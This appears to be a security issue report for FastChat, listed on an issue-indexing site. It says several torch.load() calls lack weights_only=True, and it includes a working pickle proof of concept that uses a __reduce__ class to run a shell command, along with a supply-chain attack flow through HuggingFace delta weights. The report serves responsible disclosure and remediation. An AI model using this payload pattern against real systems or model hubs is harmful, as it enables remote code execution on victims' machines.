Pickle Deserialization RCE via torch.load()
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 39.5k
- Forks
- 4.8k
- PR merge metrics
- No merged PRs in 30d
Description
Hello, FastChat uses `torch.load()` without the `weights_only=True` parameter in multiple locations. Since `torch.load()` internally uses Python's `pickle.load()`, this allows arbitrary code execution when loading malicious model files.
### Vulnerable Code - apply_delta.py
```python
# Line 37 - Loading base model files
state_dict = torch.load(file_path) # NO weights_only=True!
# Line 90 - Loading delta weights from HuggingFace repo
delta_state_dict = torch.load(delta_files[0]) # NO weights_only=True!
# Line 97 - Loading split base files
state_dict = torch.load(base_file) # NO weights_only=True!
# Line 102 - Loading delta files in loop
delta_state_dict = torch.load(delta_file) # NO weights_only=True!
```
### Vulnerable Code - compression.py
```python
# Line 189
tmp_state_dict = torch.load(
filename, map_location=lambda storage, loc: storage
) # NO weights_only=True!
```
### Root Cause
1. `torch.load()` uses `pickle.load()` internally for deserialization
2. Pickle can execute arbitrary Python code via `__reduce__` method
3. The `weights_only=True` parameter restricts loading to tensor data only
4. Without this parameter, any pickled Python object will be executed
## Attack Vector
### Via HuggingFace Model Repository
```bash
# Attacker creates malicious delta weights and uploads to HuggingFace
# Victim downloads and applies the delta:
python3 -m fastchat.model.apply_delta \
--base ~/models/llama-7b \
--target ~/models/vicuna-7b \
--delta attacker/malicious-delta-v1
```
### Attack Flow
1. **Preparation**: Attacker creates `pytorch_model-0.bin` with RCE payload
2. **Distribution**: Uploads to HuggingFace as fake "delta weights"
3. **Execution**: Victim runs `apply_delta` with malicious delta path
4. **RCE**: `torch.load()` deserializes pickle = arbitrary code execution
## Proof of Concept
### Malicious Payload Creator
```python
import pickle
class RCEPayload:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))
# Create malicious .bin file
state_dict = {"model.weight": RCEPayload()}
with open("pytorch_model-0.bin", "wb") as f:
pickle.dump(state_dict, f)
# When loaded with torch.load(), executes: id > /tmp/pwned
```
### Verification Output
```
[+] Found 4 vulnerable torch.load() calls:
Line 37: state_dict = torch.load(file_path)
Line 90: delta_state_dict = torch.load(delta_files[0])
Line 97: state_dict = torch.load(base_file)
Line 102: delta_state_dict = torch.load(delta_file)
[!] VULNERABILITY CONFIRMED: torch.load() without weights_only=True
============================================================
PICKLE DESERIALIZATION TEST
============================================================
[*] Created malicious pickle file: /tmp/test_model.bin
[*] RCE marker file: /tmp/fastchat_rce_test_1667176
[*] Loading malicious file with pickle.load()...
[+] pickle.load() executed successfully
[+] RCE VERIFIED! Created file with content: RCE_VIA_FASTCHAT
```
## Impact
- **Remote Code Execution**: Full system compromise via malicious model files
- **Supply Chain Attack**: Attackers can upload malicious models to HuggingFace
- **Data Exfiltration**: Access to all user data and credentials
- **Lateral Movement**: Pivot to other systems in corporate networks
- **Ransomware**: Encrypt user's machine learning infrastructure
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by inspecting the listed torch.load call sites in apply_delta.py and compression.py, including how base models and delta weights are loaded. Verify the expected loading behavior for legitimate model files and confirm that malicious pickle data is rejected; done means all identified vulnerable paths are covered without breaking valid model or delta loading.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- huggingface, python, pytorch
- Domain
- machine-learning, security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Stale
- Clarity
- Clearly specified
- Newbie friendliness
- 55/100